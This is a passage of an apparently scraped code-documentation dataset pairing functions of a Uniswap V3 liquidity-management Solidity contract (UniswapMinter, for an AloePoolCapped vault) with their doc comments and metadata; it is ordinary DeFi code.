v0.8.4+commit.c7e474f2
{ "func_code_index": [ 533, 764 ] }
1,493
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; TICK_SPACING = uniPool.tickSpacing(); TOKEN0 = IERC20(uniPool.token0()); TOKEN1 = IERC20(uniPool.token1()); } /// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); } /// @dev Deposits liquidity in a range on the Uniswap pool. function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); } /// @dev Withdraws liquidity from a range and collects all fees in the process. function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; } /** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */ function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, burnable1 + earnable1); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`. function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`. function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); } }
_uniswapEnter
function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); }
/// @dev Deposits liquidity in a range on the Uniswap pool.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 830, 1067 ] }
1,494
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; TICK_SPACING = uniPool.tickSpacing(); TOKEN0 = IERC20(uniPool.token0()); TOKEN1 = IERC20(uniPool.token1()); } /// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); } /// @dev Deposits liquidity in a range on the Uniswap pool. function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); } /// @dev Withdraws liquidity from a range and collects all fees in the process. function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; } /** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */ function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, burnable1 + earnable1); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`. function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`. function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); } }
_uniswapExit
function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; }
/// @dev Withdraws liquidity from a range and collects all fees in the process.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 1153, 1849 ] }
1,495
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; TICK_SPACING = uniPool.tickSpacing(); TOKEN0 = IERC20(uniPool.token0()); TOKEN1 = IERC20(uniPool.token1()); } /// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); } /// @dev Deposits liquidity in a range on the Uniswap pool. function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); } /// @dev Withdraws liquidity from a range and collects all fees in the process. function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; } /** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */ function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, burnable1 + earnable1); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`. function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`. function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); } }
_collectableAmountsAsOfLastPoke
function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, burnable1 + earnable1); }
/** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 2002, 2400 ] }
1,496
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; TICK_SPACING = uniPool.tickSpacing(); TOKEN0 = IERC20(uniPool.token0()); TOKEN1 = IERC20(uniPool.token1()); } /// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); } /// @dev Deposits liquidity in a range on the Uniswap pool. function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); } /// @dev Withdraws liquidity from a range and collects all fees in the process. function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; } /** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */ function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, burnable1 + earnable1); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`. function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`. function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); } }
_position
function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); }
/// @dev Wrapper around `IUniswapV3Pool.positions()`.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 2460, 2890 ] }
1,497
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; TICK_SPACING = uniPool.tickSpacing(); TOKEN0 = IERC20(uniPool.token0()); TOKEN1 = IERC20(uniPool.token1()); } /// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); } /// @dev Deposits liquidity in a range on the Uniswap pool. function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); } /// @dev Withdraws liquidity from a range and collects all fees in the process. function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; } /** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */ function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, burnable1 + earnable1); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`. function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`. function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); } }
_amountsForLiquidity
function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); }
/// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 2965, 3444 ] }
1,498
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; TICK_SPACING = uniPool.tickSpacing(); TOKEN0 = IERC20(uniPool.token0()); TOKEN1 = IERC20(uniPool.token1()); } /// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); } /// @dev Deposits liquidity in a range on the Uniswap pool. function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); } /// @dev Withdraws liquidity from a range and collects all fees in the process. function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; } /** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */ function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, burnable1 + earnable1); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`. function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`. function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); } }
_liquidityForAmounts
function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); }
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 3519, 4002 ] }
1,499
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; TICK_SPACING = uniPool.tickSpacing(); TOKEN0 = IERC20(uniPool.token0()); TOKEN1 = IERC20(uniPool.token1()); } /// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); } /// @dev Deposits liquidity in a range on the Uniswap pool. function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); } /// @dev Withdraws liquidity from a range and collects all fees in the process. function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; } /** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */ function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, 